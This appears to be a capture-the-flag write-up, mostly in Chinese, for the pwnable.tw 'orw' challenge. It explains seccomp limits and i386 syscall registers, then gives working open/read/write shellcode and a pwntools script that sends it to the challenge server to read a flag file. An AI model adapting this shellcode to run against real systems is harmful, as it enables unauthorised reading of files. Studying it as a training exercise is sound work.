pwnable.tw_orw
0x01
giantbranch@ubuntu:~/pwn$ wget https://pwnable.tw/static/chall/orw
--2021-09-25 20:17:09-- https://pwnable.tw/static/chall/orw
Resolving pwnable.tw (pwnable.tw)... 172.105.238.127
Connecting to pwnable.tw (pwnable.tw)|172.105.238.127|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7520 (7.3K) [application/octet-stream]
Saving to: ‘orw’
orw 100%[===================>] 7.34K --.-KB/s in 0s
2021-09-25 20:17:10 (354 MB/s) - ‘orw’ saved [7520/7520]
giantbranch@ubuntu:~/pwn$ ls
binary_vulnerability demo.c peda-session-start.txt ret2text.py start.py
catch.py easyheap ret2text start
demo orw ret2text.c start2.py
giantbranch@ubuntu:~/pwn$ chmod +x orw
giantbranch@ubuntu:~/pwn$ ./orw
Give my your shellcode:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault (core dumped)
giantbranch@ubuntu:~/pwn$ ./orw
Give my your shellcode:aaa
Segmentation fault (core dumped)
giantbranch@ubuntu:~/pwn$
0x02
giantbranch@ubuntu:~/pwn$ checksec ./orw
[*] '/home/giantbranch/pwn/orw'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
giantbranch@ubuntu:~/pwn$
0x03
; __unwind {
lea ecx, [esp+4]
and esp, 0FFFFFFF0h
push dword ptr [ecx-4]
push ebp
mov ebp, esp
push ecx
sub esp, 4
call orw_seccomp
sub esp, 0Ch
push offset format ; "Give my your shellcode:"
call _printf
add esp, 10h
sub esp, 4
push 0C8h ; nbytes
push offset shellcode ; buf
push 0 ; fd
call _read
add esp, 10h
mov eax, offset shellcode
call eax ; shellcode
mov eax, 0
mov ecx, [ebp+var_4]
leave
lea esp, [ecx-4]
retn
; } // starts at 8048548
main endp
- call eax
https://gcc.gnu.org/onlinedocs/gcc/Local-Register-Variables.html#Local-Reg-Vars
https://stackoverflow.com/questions/21324087/what-c-code-would-compile-to-something-like-call-eax
0x04
- 使用orw(open,read,write)函数去读去 “/home/orw/flag” 的内容
- 其中Seccomp代表安全计算模式,是 Linux 内核的功能。通过这一函数可以划定程序准许用户态调用的系统函数,相当于划定白名单,题目中仅开启了open、write、read函数,具体参考:
https://cloud.tencent.com/developer/article/1801887
0x05
- 使用pwntools的shellcraft来构造shellcode
- 参考:https://docs.pwntools.com/en/stable/shellcraft.html
- prctl:https://www.cnblogs.com/L0g4n-blog/p/12839171.html
https://man7.org/linux/man-pages/man2/prctl.2.html
0x06
- man
man 2 read
1 用户命令, 可由任何人启动的。
2 系统调用, 即由内核提供的函数。
3 例程, 即库函数,比如标准C库libc。
4 设备, 即/dev目录下的特殊文件。
5 文件格式描述, 例如/etc/passwd。
6 游戏, 不用解释啦!
7 杂项, 例如宏命令包、惯例等。
8 系统管理员工具, 只能由root启动。
9 其他( Linux 特定的), 用来存放内核例行程序的文档。
n 新文档, 可能要移到更适合的领域。
o 老文档, 可能会在一段期限内保留。
l 本地文档, 与本特定系统有关的。
- 安装man和man-pages:
sudoapt-get install manpages
sudo apt-get install manpages-de
sudo apt-get install manpages-de-dev
sudo apt-get install manpages-dev
0x07
对于x86体系结构,系统调用表位于arch / x86 / syscalls / syscall_32.tbl中,从Linux内核4.2开始,系统调用表已从arch/x86/syscalls/syscall_64.tbl移至arch/x86/entry/syscalls/syscall_64.tbl
- https://www.cxyzjd.com/article/sinat_26227857/44244433
- x86 64linux调用表:http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
sys_open 系统调用传递的四个寄存器参数即具体实现:
eax = 0x05 系统调用号
ebx = filename 文件名
ecx = flags 置零即可
edx = mode 置零即可
sys_read 系统调用传递的四个寄存器参数即具体实现:
eax = 0x03 系统调用号
ebx = fd 文件指针,就是open的返回值,不需要改变
ecx = buf 缓冲区,指向栈顶位置
edx = count 字节数
sys_write 系统调用传递的四个寄存器参数即具体实现:
eax = 0x04 系统调用号
ebx = fd 文件指针,置为1,打印到屏幕
ecx = buf 缓冲区,指向栈顶
edx = count
#open
shellcode = asm("xor ebx,ebx;xor ecx,ecx;xor edx,edx;xor eax,eax;push ebx ;push 0x67616c66 ;push 0x2f77726f ;push 0x2f656d6f ;push 0x682f2f2f ;mov ebx,esp;mov al,0x5;int 0x80;")
#read
shellcode += asm("mov ebx,0x3;mov ecx,esp ;mov edx,0x40;xor eax,eax;mov al,0x3;int 0x80;")
#write
shellcode += asm("mov ebx,0x1;xor eax,eax ;mov al,0x4;int 0x80;")
0x08
from pwn import *
context(log_level='debug',os='linux',arch='i386')
io = remote("chall.pwnable.tw",10001)
#open
shellcode = asm("xor ebx,ebx;xor ecx,ecx;xor edx,edx;xor eax,eax;push ebx ;push 0x67616c66 ;push 0x2f77726f ;push 0x2f656d6f ;push 0x682f2f2f ;mov ebx,esp;mov al,0x5;int 0x80;")
#read
shellcode += asm("mov ebx,0x3;mov ecx,esp ;mov edx,0x40;xor eax,eax;mov al,0x3;int 0x80;")
#write
shellcode += asm("mov ebx,0x1;xor eax,eax ;mov al,0x4;int 0x80;")
io.sendline(shellcode)
io.interactive()
FLAG

浙公网安备 33010602011771号